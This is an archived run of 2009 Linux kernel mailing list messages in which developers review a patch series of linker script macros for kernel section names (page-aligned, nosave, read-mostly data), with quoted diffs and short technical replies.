	id 1Lzoro-0007tJ-4a
	for sgi-linux-mips@gmane.org; Fri, 01 May 2009 11:17:12 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:50831 "EHLO
	ftp.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S20027076AbZEAJRJ (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Fri, 1 May 2009 10:17:09 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 01 May 2009 10:16:52 +0100 (BST)
Original-Received: from pfepa.post.tele.dk ([195.41.46.235]:55489 "EHLO
	pfepa.post.tele.dk" rhost-flags-OK-OK-OK-OK) by ftp.linux-mips.org
	with ESMTP id S20027071AbZEAJQp (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Fri, 1 May 2009 10:16:45 +0100
Original-Received: from ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepa.post.tele.dk (Postfix) with ESMTP id 3888FA50039;
	Fri,  1 May 2009 11:16:37 +0200 (CEST)
Original-Received: by ravnborg.org (Postfix, from userid 500)
	id 91906580D0; Fri,  1 May 2009 11:18:48 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1241121253-32341-2-git-send-email-tabbott@mit.edu>
User-Agent: Mutt/1.4.2.1i
X-archive-position: 22584
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: sam@ravnborg.org
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:23613 gmane.linux.kernel:830639 gmane.linux.ports.alpha:523 gmane.linux.ports.ia64:20324 gmane.linux.ports.m68k:693 gmane.linux.ports.parisc:1607 gmane.linux.ports.ppc64.devel:55728 gmane.linux.ports.sh.devel:5868 gmane.linux.uclinux.microblaze:8586 gmane.linux.ports.sparc:11553 gmane.linux.hardware.blackfin.kernel.devel:1361 gmane.linux.uml.devel:12185
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1607>

On Thu, Apr 30, 2009 at 03:54:08PM -0400, Tim Abbott wrote:
> This patch is preparation for replacing most uses of
> ".bss.page_aligned" and ".data.page_aligned" in the kernel with
> macros, so that the section name can later be changed without having
> to touch a lot of the kernel.
> 
> The long-term goal here is to be able to change the kernel's magic
> section names to those that are compatible with -ffunction-sections
> -fdata-sections.  This requires renaming all magic sections with names
> of the form ".data.foo".
> 
> Signed-off-by: Tim Abbott <tabbott@mit.edu>
> Cc: Sam Ravnborg <sam@ravnborg.org>
> Acked-by: David Howells <dhowells@redhat.com>
> ---
>  include/asm-generic/vmlinux.lds.h |    8 ++++++++
>  include/linux/linkage.h           |    9 +++++++++
>  2 files changed, 17 insertions(+), 0 deletions(-)
> 
> diff --git a/include/asm-generic/vmlinux.lds.h b/include/asm-generic/vmlinux.lds.h
> index 89853bc..3d88c87 100644
> --- a/include/asm-generic/vmlinux.lds.h
> +++ b/include/asm-generic/vmlinux.lds.h
> @@ -116,6 +116,14 @@
>  	FTRACE_EVENTS()							\
>  	TRACE_SYSCALLS()
>  
> +#define PAGE_ALIGNED_DATA						\
> +	. = ALIGN(PAGE_SIZE);						\
> +	*(.data.page_aligned)
> +
> +#define PAGE_ALIGNED_BSS						\
> +	. = ALIGN(PAGE_SIZE);						\
> +	*(.bss.page_aligned)
> +
>  #define RO_DATA(align)							\
>  	. = ALIGN((align));						\
>  	.rodata           : AT(ADDR(.rodata) - LOAD_OFFSET) {		\
> diff --git a/include/linux/linkage.h b/include/linux/linkage.h
> index fee9e59..af051fc 100644
> --- a/include/linux/linkage.h
> +++ b/include/linux/linkage.h
> @@ -22,6 +22,15 @@
>  #define __page_aligned_bss	__section(.bss.page_aligned) __aligned(PAGE_SIZE)
>  
>  /*
> + * For assembly routines.
> + *
> + * Note when using these that you must specify the appropriate
> + * alignment directives yourself
> + */
> +#define __PAGE_ALIGNED_DATA	.section ".data.page_aligned", "aw", @progbits
> +#define __PAGE_ALIGNED_BSS	.section ".bss.page_aligned", "aw", @nobits

The above will work on most architectures but fails (silently?) on arm.
arm uses %{progbits,nobits} where all other uses @{nobits,progbits}.

I know we do not use page_aligned in arm assembler code for now,
but if we do then it should work.
It is my understanding that the linker will automatically
assume nobits for section names starting with .bss and likewise
progbits for section names starting with .data - so we can leave them out?


	Sam



From - Thu Nov 08 21:04:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uclinux.microblaze,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: Re: [PATCH v2 2/6] Add new NOSAVE_DATA linker script macro.
Date: Fri, 1 May 2009 11:21:14 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20090501092114.GC18326@uranus.ravnborg.org>
References: <1241121253-32341-1-git-send-email-tabbott@mit.edu> <1241121253-32341-2-git-send-email-tabbott@mit.edu> <1241121253-32341-3-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241169592 3898 80.91.229.12 (1 May 2009 09:19:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 09:19:52 +0000 (UTC)
Cc: Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@mit.edu>,
	Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Bryan Wu <cooloney@kernel.org>,
	Chris Zankel <chris@zankel.net>,
	Cyrill Gorcunov <gorcunov@openvz.org>,
	David Howells <dhowells@redhat.com>,
	"David S. Miller" <davem@davemloft.net>, dev-etrax@axis.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	Hirokazu Takata <takata@linux-m32r.org>,
	"H. Peter Anvin" <hpa@zytor.com>, Ingo Molnar <mingo@redhat.com>,
	Jeff Dike <jdike@addtoit.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linus Torvalds <
To: Tim Abbott <tabbott@MIT.EDU>
Original-X-From: linux-mips-bounce@linux-mips.org Fri May 01 11:19:36 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lzou7-0000Ci-L6
	for sgi-linux-mips@gmane.org; Fri, 01 May 2009 11:19:35 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:51070 "EHLO
	ftp.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S20027082AbZEAJTd (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Fri, 1 May 2009 10:19:33 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 01 May 2009 10:19:17 +0100 (BST)
Original-Received: from pfepb.post.tele.dk ([195.41.46.236]:34575 "EHLO
	pfepb.post.tele.dk" rhost-flags-OK-OK-OK-OK) by ftp.linux-mips.org
	with ESMTP id S20025248AbZEAJTK (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Fri, 1 May 2009 10:19:10 +0100
Original-Received: from ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepb.post.tele.dk (Postfix) with ESMTP id 12570F8404B;
	Fri,  1 May 2009 11:19:03 +0200 (CEST)
Original-Received: by ravnborg.org (Postfix, from userid 500)
	id 804EA580D0; Fri,  1 May 2009 11:21:14 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1241121253-32341-3-git-send-email-tabbott@mit.edu>
User-Agent: Mutt/1.4.2.1i
X-archive-position: 22585
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: sam@ravnborg.org
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:23614 gmane.linux.kernel:830641 gmane.linux.ports.alpha:524 gmane.linux.ports.ia64:20325 gmane.linux.ports.m68k:694 gmane.linux.ports.parisc:1608 gmane.linux.ports.ppc64.devel:55729 gmane.linux.ports.sh.devel:5869 gmane.linux.uclinux.microblaze:8587 gmane.linux.ports.sparc:11554 gmane.linux.hardware.blackfin.kernel.devel:1362 gmane.linux.uml.devel:12186
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1608>

On Thu, Apr 30, 2009 at 03:54:09PM -0400, Tim Abbott wrote:
> This patch is preparation for replacing most ".data.nosave" in the
> kernel with macros, so that the section name can later be changed
> without having to touch a lot of the kernel.
> 
> The long-term goal here is to be able to change the kernel's magic
> section names to those that are compatible with -ffunction-sections
> -fdata-sections.  This requires renaming all magic sections with names
> of the form ".data.foo".
> 
> Signed-off-by: Tim Abbott <tabbott@mit.edu>
> Cc: Sam Ravnborg <sam@ravnborg.org>
> ---
>  include/asm-generic/vmlinux.lds.h |    7 +++++++
>  1 files changed, 7 insertions(+), 0 deletions(-)
> 
> diff --git a/include/asm-generic/vmlinux.lds.h b/include/asm-generic/vmlinux.lds.h
> index 3d88c87..f5ebd2b 100644
> --- a/include/asm-generic/vmlinux.lds.h
> +++ b/include/asm-generic/vmlinux.lds.h
> @@ -124,6 +124,13 @@
>  	. = ALIGN(PAGE_SIZE);						\
>  	*(.bss.page_aligned)
>  
> +#define NOSAVE_DATA							\
> +	. = ALIGN(PAGE_SIZE);						\
> +	__nosave_begin = .;						\
> +	*(.data.nosave)							\
> +	. = ALIGN(PAGE_SIZE);						\
> +	__nosave_end = .;
> +

You need to use:
	VMLINUX_SYMBOL(__nosave_begin) = .;

Otherwise architectures such as m68k wil break as they
add a leading underscore.

See other symbols that is defined inside vmlinux.lds.h

	Sam



From - Thu Nov 08 21:04:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uclinux.microblaze,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: Re: [PATCH 6/6] Add support for __read_mostly to linux/cache.h
Date: Fri, 1 May 2009 11:44:07 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <20090501094407.GD18326@uranus.ravnborg.org>
References: <1241119956-31453-1-git-send-email-tabbott@mit.edu> <1241119956-31453-2-git-send-email-tabbott@mit.edu> <1241119956-31453-3-git-send-email-tabbott@mit.edu> <1241119956-31453-4-git-send-email-tabbott@mit.edu> <1241119956-31453-5-git-send-email-tabbott@mit.edu> <1241119956-31453-6-git-send-email-tabbott@mit.edu> <1241119956-31453-7-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241170969 7276 80.91.229.12 (1 May 2009 09:42:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 09:42:49 +0000 (UTC)
Cc: Anders Kaseorg <andersk@mit.edu>, Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Bryan Wu <cooloney@kernel.org>,
	Chris Zankel <chris@zankel.net>,
	Cyrill Gorcunov <gorcunov@openvz.org>,
	David Howells <dhowells@redhat.com>,
	"David S. Miller" <davem@davemloft.net>, dev-etrax@axis.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	Hirokazu Takata <takata@linux-m32r.org>,
	"H. Peter Anvin" <hpa@zytor.com>, Ingo Molnar <mingo@redhat.com>,
	Jeff Dike <jdike@addtoit.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-alpha@vger.kernel.org
To: Tim Abbott <tabbott@MIT.EDU>,
	Christoph Lameter <cl@linux-foundation.org>
Original-X-From: linux-mips-bounce@linux-mips.org Fri May 01 11:42:32 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LzpGJ-0000zw-2h
	for sgi-linux-mips@gmane.org; Fri, 01 May 2009 11:42:31 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:55020 "EHLO
	ftp.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S20027120AbZEAJm1 (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Fri, 1 May 2009 10:42:27 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 01 May 2009 10:42:10 +0100 (BST)
Original-Received: from pfepa.post.tele.dk ([195.41.46.235]:39850 "EHLO
	pfepa.post.tele.dk" rhost-flags-OK-OK-OK-OK) by ftp.linux-mips.org
	with ESMTP id S20027118AbZEAJmE (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Fri, 1 May 2009 10:42:04 +0100
Original-Received: from ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepa.post.tele.dk (Postfix) with ESMTP id CF77FA50033;
	Fri,  1 May 2009 11:41:56 +0200 (CEST)
Original-Received: by ravnborg.org (Postfix, from userid 500)
	id 3993E580D0; Fri,  1 May 2009 11:44:07 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1241119956-31453-7-git-send-email-tabbott@mit.edu>
User-Agent: Mutt/1.4.2.1i
X-archive-position: 22586
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: sam@ravnborg.org
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:23615 gmane.linux.ports.alpha:525 gmane.linux.ports.arm.kernel:57248 gmane.linux.ports.ia64:20326 gmane.linux.ports.m68k:695 gmane.linux.ports.parisc:1609 gmane.linux.ports.ppc64.devel:55730 gmane.linux.ports.sh.devel:5870 gmane.linux.uclinux.microblaze:8588 gmane.linux.ports.sparc:11555 gmane.linux.hardware.blackfin.kernel.devel:1363 gmane.linux.uml.devel:12187
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1609>

On Thu, Apr 30, 2009 at 03:32:36PM -0400, Tim Abbott wrote:
> Signed-off-by: Tim Abbott <tabbott@mit.edu>
> ---
>  include/linux/cache.h |    6 ++++++
>  1 files changed, 6 insertions(+), 0 deletions(-)
> 
> diff --git a/include/linux/cache.h b/include/linux/cache.h
> index 97e2488..99d8a6f 100644
> --- a/include/linux/cache.h
> +++ b/include/linux/cache.h
> @@ -13,7 +13,13 @@
>  #endif
>  
>  #ifndef __read_mostly
> +#ifdef CONFIG_HAVE_READ_MOSTLY_DATA
> +#define __read_mostly __attribute__((__section__(".data.read_mostly")))
> +#define __READ_MOSTLY .section ".data.read_mostly", "aw"
> +#else
>  #define __read_mostly
> +#define __READ_MOSTLY
> +#endif /* CONFIG_HAVE_READ_MOSTLY_DATA */
>  #endif

Are there any specific reason why we do not support read_mostly on all
architectures?

read_mostly is about grouping rarely written data together
so what is needed is to introduce this section in the remaining
archtectures.

Christoph - git log says you did the inital implmentation.
Do you agree?

	Sam



From - Thu Nov 08 21:04:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@MIT.EDU>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uclinux.microblaze,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: Re: [PATCH v2 1/6] Add new macros for page-aligned data and bss
 sections.
Date: Fri, 1 May 2009 09:54:34 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.0905010951100.3955@vinegar-pot.mit.edu>
References: <1241121253-32341-1-git-send-email-tabbott@mit.edu> <1241121253-32341-2-git-send-email-tabbott@mit.edu> <20090501091848.GB18326@uranus.ravnborg.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1241186516 15252 80.91.229.12 (1 May 2009 14:01:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 14:01:56 +0000 (UTC)
Cc: Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@mit.edu>,
	Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Bryan Wu <cooloney@kernel.org>,
	Chris Zankel <chris@zankel.net>,
	Cyrill Gorcunov <gorcunov@openvz.org>,
	David Howells <dhowells@redhat.com>,
	"David S. Miller" <davem@davemloft.net>, dev-etrax@axis.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	Hirokazu Takata <takata@linux-m32r.org>,
	"H. Peter Anvin" <hpa@zytor.com>, Ingo Molnar <mingo@redhat.com>,
	Jeff Dike <jdike@addtoit.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linus Torvalds <
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-mips-bounce@linux-mips.org Fri May 01 16:01:39 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LztIz-0002vN-Bc
	for sgi-linux-mips@gmane.org; Fri, 01 May 2009 16:01:33 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:49681 "EHLO
	ftp.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S20027530AbZEAOBa (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Fri, 1 May 2009 15:01:30 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 01 May 2009 15:01:13 +0100 (BST)
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:37425 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by ftp.linux-mips.org with ESMTP id S20027528AbZEAOBH (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Fri, 1 May 2009 15:01:07 +0100
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n41Dsh2v003169;
	Fri, 1 May 2009 09:54:43 -0400 (EDT)
Original-Received: from localhost (VINEGAR-POT.MIT.EDU [18.181.0.51])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n41DsY94028568;
	Fri, 1 May 2009 09:54:35 -0400 (EDT)
In-Reply-To: <20090501091848.GB18326@uranus.ravnborg.org>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-Scanned-By: MIMEDefang 2.42
X-archive-position: 22589
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: tabbott@MIT.EDU
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:23618 gmane.linux.kernel:830759 gmane.linux.ports.alpha:526 gmane.linux.ports.ia64:20327 gmane.linux.ports.m68k:696 gmane.linux.ports.parisc:1610 gmane.linux.ports.ppc64.devel:55733 gmane.linux.ports.sh.devel:5871 gmane.linux.uclinux.microblaze:8590 gmane.linux.ports.sparc:11556 gmane.linux.hardware.blackfin.kernel.devel:1364 gmane.linux.uml.devel:12188
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1610>

On Fri, 1 May 2009, Sam Ravnborg wrote:

> On Thu, Apr 30, 2009 at 03:54:08PM -0400, Tim Abbott wrote:
> > +#define __PAGE_ALIGNED_DATA	.section ".data.page_aligned", "aw", @progbits
> > +#define __PAGE_ALIGNED_BSS	.section ".bss.page_aligned", "aw", @nobits
> 
> It is my understanding that the linker will automatically
> assume nobits for section names starting with .bss and likewise
> progbits for section names starting with .data - so we can leave them out?

I believe that is correct.

	-Tim Abbott





From - Thu Nov 08 21:04:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uclinux.microblaze,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: Re: [PATCH v2 0/6] macros for section name cleanup
Date: Fri, 1 May 2009 16:21:10 +0200
Lines: 56
Approved: news@gmane.org
Message-ID: <20090501142110.GA25236@uranus.ravnborg.org>
References: <1241121253-32341-1-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241187591 18534 80.91.229.12 (1 May 2009 14:19:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 14:19:51 +0000 (UTC)
Cc: Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@mit.edu>,
	Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Bryan Wu <cooloney@kernel.org>,
	Chris Zankel <chris@zankel.net>,
	Cyrill Gorcunov <gorcunov@openvz.org>,
	David Howells <dhowells@redhat.com>,
	"David S. Miller" <davem@davemloft.net>, dev-etrax@axis.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	Hirokazu Takata <takata@linux-m32r.org>,
	"H. Peter Anvin" <hpa@zytor.com>, Ingo Molnar <mingo@redhat.com>,
	Jeff Dike <jdike@addtoit.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linus Torvalds <
To: Tim Abbott <tabbott@MIT.EDU>
Original-X-From: linux-mips-bounce@linux-mips.org Fri May 01 16:19:34 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LztaO-0003tT-Mo
	for sgi-linux-mips@gmane.org; Fri, 01 May 2009 16:19:33 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:42518 "EHLO
	ftp.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S20027580AbZEAOT3 (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Fri, 1 May 2009 15:19:29 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 01 May 2009 15:19:12 +0100 (BST)
Original-Received: from pfepb.post.tele.dk ([195.41.46.236]:51679 "EHLO
	pfepb.post.tele.dk" rhost-flags-OK-OK-OK-OK) by ftp.linux-mips.org
	with ESMTP id S20027554AbZEAOTG (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Fri, 1 May 2009 15:19:06 +0100
Original-Received: from ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepb.post.tele.dk (Postfix) with ESMTP id 32470F84029;
	Fri,  1 May 2009 16:19:00 +0200 (CEST)
Original-Received: by ravnborg.org (Postfix, from userid 500)
	id 00E09580D0; Fri,  1 May 2009 16:21:10 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1241121253-32341-1-git-send-email-tabbott@mit.edu>
User-Agent: Mutt/1.4.2.1i
X-archive-position: 22590
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: sam@ravnborg.org
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:23619 gmane.linux.kernel:830773 gmane.linux.ports.alpha:527 gmane.linux.ports.ia64:20328 gmane.linux.ports.m68k:697 gmane.linux.ports.parisc:1611 gmane.linux.ports.ppc64.devel:55735 gmane.linux.ports.sh.devel:5872 gmane.linux.uclinux.microblaze:8591 gmane.linux.ports.sparc:11557 gmane.linux.hardware.blackfin.kernel.devel:1365 gmane.linux.uml.devel:12189
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1611>

On Thu, Apr 30, 2009 at 03:54:07PM -0400, Tim Abbott wrote:
> (this patch series differs from v1 only in the CC list; some of the
> architecture lists I sent the previous one to are moderated against
> non-members; all replies should go to this version).
> 
> Here are the architecture-independent macro definitions needed for
> to clean up the kernel's section names.  The overall diffstat from
> this section name cleanup project is:
> 
>  96 files changed, 261 insertions(+), 503 deletions(-)
> 
> The decrease results from removing a lot of redundancy in the linker
> scripts.
> 
> The long-term goal here is to add support for building the kernel with
> -ffunction-sections -fdata-sections.  This requires renaming all the
> magic section names in the kernel of the form .text.foo, .data.foo,
> .bss.foo, and .rodata.foo to not have collisions with sections
> generated for code like:
> 
> static int nosave = 0; /* -fdata-sections places in .data.nosave */
> static void head(); /* -ffunction-sections places in .text.head */
> 
> Sam Ravnborg proposed that rather than just renaming all the sections
> outright, we should start by first getting more control over the
> section names used in the kernel so that we can later rename sections
> without touching too many files.  These patch series implement that
> cleanup.  Later, there will be another patch series to actually rename
> the sections.
> 
> I'm hoping we can get just these macro definitions into 2.6.30 so that
> the arch maintainers don't have to grab the macro definitions for
> their trees while reviewing the patches for 2.6.31.
> 
> Shortly, I'm going to send one patch series for each of the
> architectures updating those architectures to use these new macros
> (and otherwise cleaning up section names on those architectures).
> 
> 	-Tim Abbott
> 
> Tim Abbott (6):
>   Add new macros for page-aligned data and bss sections.
>   Add new NOSAVE_DATA linker script macro.
>   Add new CACHELINE_ALIGNED_DATA linker script macro.
>   Add new INIT_TASK_DATA() linker script macro.
>   Add new READ_MOSTLY_DATA(align) linker script macro.

I am about to apply this part of your patches.
I am doing some additional modifications and
will most likely apply them as one patch.

Will post to linux-arch for review when it is ready.

	Sam



From - Thu Nov 08 21:04:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl-vYTEC60ixJUAvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.uclinux.microblaze,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: Re: [PATCH 6/6] Add support for __read_mostly to linux/cache.h
Date: Fri, 1 May 2009 09:52:18 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.0905010948140.18324@qirst.com>
